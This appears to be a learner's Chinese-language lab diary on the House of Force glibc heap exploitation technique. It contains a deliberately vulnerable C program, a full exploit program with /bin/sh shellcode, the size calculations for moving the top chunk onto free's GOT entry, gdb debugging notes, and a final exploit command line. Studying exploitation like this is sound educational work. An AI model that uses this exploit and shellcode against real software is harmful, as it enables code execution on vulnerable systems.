Pediy-18-10-houseof系列堆溢出
House of Force
源码:
/*
House of force vulnerable program.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char *argv[])
{char *buf1, *buf2, *buf3;if (argc != 4) {printf("Usage Error\n");return;}/* [1] */buf1 = malloc(256);/* [2] */strcpy(buf1, argv[1]); /* Prereq 1 *//* [3] */buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 *//* [4] */buf3 = malloc(256); /* Prereq 3 *//* [5] */strcpy(buf3, argv[3]); /* Prereq 3 *//* [6] */free(buf3);free(buf2);free(buf1);return 0;
}
分析
漏洞程序的行[2]
是堆溢出发生的地方。因此为了成功利用堆溢出,攻击者需要提供下面的命令行参数:
argv[1]
– 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。argv[2]
– 第二个 malloc 块的大小参数。argv[3]
– 复制到第三个 malloc 块的用户输入。
这里找到free的got地址
在执行完第一个malloc后,记下第一个chunk的地址
利用攻击程序并修改对应的参数:
/* Program to exploit executable 'vuln' using hof technique.*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08048360-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x00\xa0\x04\x08"/* Spawn a shell. Size - 25 bytes. */
char scode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";int main( )
{ int i;char * p;char argv1[ 265 ];char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };strcpy(argv1,scode);for(i=25;i<260;i++)argv1[i] = 'A';strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */argv[264] = ''; /* Terminating NULL character */ /* Execution of the vulnerable program */execve( argv[0], argv, NULL );return( -1 );
}
使用攻击者的参数,下面的事情会发生:
行[2]
会覆盖 top 块大小:
- 攻击者的参数(
argv[1] – Shellcode + Pad + 0xFFFFFFFF
)会复制到堆缓冲区buf1
。但是由于argv[1]
大于 256,top 块的大小会覆盖为0xFFFFFFFF
。
行[3]
使用 top 块代码,分配了一个非常大的块。
-
非常大的块的分配请求发生在分配之后,新的 top 块应该位于
free
的 GOT 条目之前 8 个字节处。所以另一个 malloc 请求(行[4]
)会帮助我们覆盖free
的 GOT 地址。 -
攻击者的参数(
argv[2] – 0xFFFFF744
)会作为大小参数,传递给第二个 malloc 调用(行
[3]
)。大小参数使用下面的公式计算:
-
size = ((free-8)-top)
-
其中
free
是可执行文件vuln
的 GOT 条目,也就是free = 0x08049858
。top
是当前 top 块(在第一个 malloc[1]
之后),也就是top = 0x0804a108
。
-
因此
size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748
。 -
当
size = 0xFFFFF748
时,我们的任务,将新的 top 块放置在
free
的 GOT 条目之前 8 个字节处,像这样完成了:
(0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
-
但是,当攻击者传递大小参数
0xFFFFF748
时,glibc malloc 将这个大小转换为可用大小0xFFFFF750
。因此,现在新的 top 块大小应该位于0x8049858
而不是0x8049850
。因此攻击者应该传递0xFFFFF744
作为大小参数,而不是0xFFFFF748
,因为他会转换为我们所需的可用的大小0xFFFFF748
。
-
在行[4]
中:
- 现在由于行
[3]
中的 top 块指向0x8049850
,一个 256 字节的内存分配请求会使 glibc malloc 返回0x8049858
,他会复制到buf3
。
在行[5]
中:
将buf1
的地址复制给buf3
,会导致 GOT 覆盖。因此free
的调用(行[6]
)会导致 shellcode 执行。
调试
先输入260个A加0xffffffff来测试第一个strcmp是否能改变topchunk的size
这里为什么一共是264个字节,申请了256个,加上top chunk的prev size一共260个字节,所以下4个 刚好可以淹没top chunk 的size。对于数量的大小,也可以通过直接观看申请到的地址来计算。
这里可以看到在执行完对chunk1的赋值后,由于溢出到top-chunk,top的大小被修改为0xffffffff。
接下来调试第二步,申请一个很大的chunk,来达到修改top chunk地址的目的。
一开始得到free@got = 0x8049810,计算 size = (free-8)-top = 0xfffff700
输入 r
python -c ‘print “A”*260+"\xFF\xff\xff\xff"’0xfffff700 20
,可以看到top的地址被修改为free的地址。
r python -c 'print "A"*260+"\xFF\xff\xff\xff"'
0xfffff700 20
但是这里应该修改为free-8的位置,因为glibc将0xfffff700调整为0xfffff708,所以调整我们的输入 0xfffff6fc
看到此时的top地址被修改为free-8了。这是因为 每一个chunk块自带8字节的prev size 与 size字段,所以每次实际分配会先+8,但是32位情况下又要与8对齐,所以0xfffff6fc+8=0xfffff704, 这里看起来不与8对齐,但是实际上当chunk处于used状态时候,可以使用下一个chunk的前4字节,即下一个chunk的prev size字段。所以这里实际上分配的大小就变成了0xfffff700,既对齐了,空间又足够了。
接下来可以看到,当执行完新的free时候,top chunk会free的地址分配给chunk3,此时我们便可以覆盖free地址了。也基本完成了这个实验。
附上输入:
r `python -c 'print "\x90\x90\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90\x90\x90\x90"+"A"*230+"\xFF\xff\xff\xff" '` 0xfffff6fc `python -c 'print "\x08\xa0\x04\x08"'`
总结
搞下来还是学到了不少知识,包括chunk的一些分配对齐,gdb中堆的查看调试,gdb中输入多个参数,输入时候python的利用等等,最重要的还是学习了这个House of Force溢出技术。中途一度想放弃,硬着头皮慢慢调试修改终于成功了。在pwn里该系列虽然不难,但是入门起来难度不小。因为adword今天维修所以没有弄。但是做了这个也不是没有做事。
明日计划
1.做adword一道有收获的题。
2.完成pediy-10下半部分 House of Spirit